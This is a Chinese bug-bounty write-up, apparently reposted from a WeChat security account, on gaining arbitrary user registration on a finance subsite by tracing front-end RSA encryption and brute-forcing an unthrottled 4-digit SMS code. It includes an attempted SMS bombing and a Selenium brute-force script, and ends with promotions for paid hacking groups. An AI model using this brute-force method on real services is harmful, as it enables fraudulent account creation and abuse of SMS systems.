度X满SRC挖掘之曲线救国渗透
2023-4-21 21:57:36 Author: 渗透安全团队(查看原文) 阅读量:50 收藏

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

首先提一嘴,这个漏洞已经是修复了,如果大家碰到像这种类型的,可以试试我这种方法

在一个夜黑风高的夜晚,打开了度某满分站,准备搞几个钱

老规矩,开局一个登陆框。看到账号和密码就想爆破,这里我试了一下,发现加密了

不要慌,账号密码加密了而已。我们直接放弃即可!

换个功能点进行,这里发现还有个注册点,打开看看咯

可以注册,还有短信验证,那么就可以试试短信轰炸了,我这里试一试

非常好,被BAN掉了,看来做了校验,不要慌,先看看验证码是多少位

哎呦,是4位的,可以尝试下爆破,不过参数仍然是加密的。。怎么办?

不要慌,先试一试有没有提交次数校验,先给它100个包跑一下看看会不会限制

手动给重放了100个包,发现它不会检测你提交了多少次,只要你输入对了,那就完事了。那么我们接下来咋办,那当然可以尝试一下JS逆向了

先用F12大法查看JS调用栈

看到这么多调用函数,那么就有不懂事的金针菇要问了,我要看哪个?这里我告诉你,一个一个点进去看

当然不是一个一个点进去看,而是点进去一个一个搜索关键词,比如说我们定位密码的传参值

复制这玩意去源码里面搜索就完事了

终于在我们的不懈努力下,找到了这部分源码,我们贴出来简单解释一下。截图错了,应该是这玩意

下面我贴出来给不懂事的金针菇们分析一下

handleSubmit: function() {    var e = this;    this.$refs["params"].validate((function(t) {        if (!t)            return !1;        var r = Object.assign({}, e.params);        r["ucPwd"] = a["crypt"].custom(r["ucPwd"]),            r["confirmPwd"] = a["crypt"].custom(r["confirmPwd"]),            r["verifyCode"] = a["crypt"].custom(r["verifyCode"]),            r["phoneNum"] = a["crypt"].custom(r["phoneNum"]),            e.$http("/uc/register", "post", r)            .then((function(t) {                e.$message({                        type: "success",                        message: "注册成功"                    }),                    e.goto()            }), (function(t) {                e.show = !0            }))    }))}

看到这么多相信大家已经不想看了,没有关系,我也不是很想看,只需要定位一个东西即可a["crypt"]。看到这里,相信不懂事的金针菇又要问了,为什么是这个?很简单,让我们打开百度翻译

好吧,让我们打开百度

那么通过百度,我们知道了这玩意就是一个加密函数,这代码的意思就是把我们的账号密码验证码手机号都加密一遍然后传参到后端校验。那么我们就要定位它是怎么加密的

在此处打断点,我们在提交一遍就可以定位了

看到这个就是打成功了,往下走就好

这里没啥用,直接过

来到这里就比较有用了,可以看到它有一个方法叫setPublicKey,上百度翻译一下

什么玩意需要设置公钥,那肯定是加密的算法,我猜是RSA,接着往下走

这里看到了这玩意,打个断点看看

发现它这里根本没有走这个方法,那直接不用看

下一步走这里,追踪就完事了

看到这里已经看不懂了,没有关系,我们注意一个点

发现这里是RSA加密,那么就可以知道前面的那个o可能就是公钥咯,再往下走看看

再往下走就是加密的流程了,过于复杂,就不贴出来了,上面是加密后的结果。不过我发现每一次加密都是不同的结果。。但是我们又搞不清它加密到底加了个啥?咋办?

别慌,我们还可以手动去提交,从0001-9999依次去提交就完事了

好吧,太累了,我还是写个脚本把。差点忘了我是个脚本小子

# -*- coding:utf-8 -*-
from selenium.webdriver import Chromefrom selenium.webdriver.common.keys import Keysfrom selenium.webdriver.common.by import Byimport time
url = "http://xxx.com/hkc/register"web = Chrome()web.get(url)a = input("&gt;&gt;")codeby = web.find_element(By.XPATH, '//*[<span class="label label-primary">@id=</span>"app"]/div/div[2]/form/div[5]/div/div[1]/div/div/input')f = open('./four_code.txt', mode='r', encoding='utf-8')"""1. 使用selenium模块,并下载谷歌浏览器驱动放置在python跟路径2. 填写其它必要注册信息,获取验证码,接下来的交给脚本(若提交按钮呈现灰色,请先随便输入验证码,点击一次提交按钮,然后清楚你输入的验证码)3. 回到脚本,随便输入一个字符,开始自动爆破验证码
"""for code in f.readlines(): codeby.send_keys(code.strip()) web.find_element(By.XPATH, '//*[<span class="label label-primary">@id=</span>"app"]/div/div[2]/form/div[7]/div/div/button').click() codeby.clear()

见证奇迹的时刻到了!

注册成功!任意用户注册一枚到手!到这里本篇文章就完结了,这里想告诉大家的是,见到加密不要慌,试试其它手法,说不动就到手了,下面贴一张赏金图


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247503548&idx=2&sn=fe4c6e68adcb0912db0b4a453bb6c0ae&chksm=c1763313f601ba057f11a14b2a0ded83dc96968d175ddd40cb3064d09a3a071a365edc37bf36#rd
如有侵权请联系:admin#unsafe.sh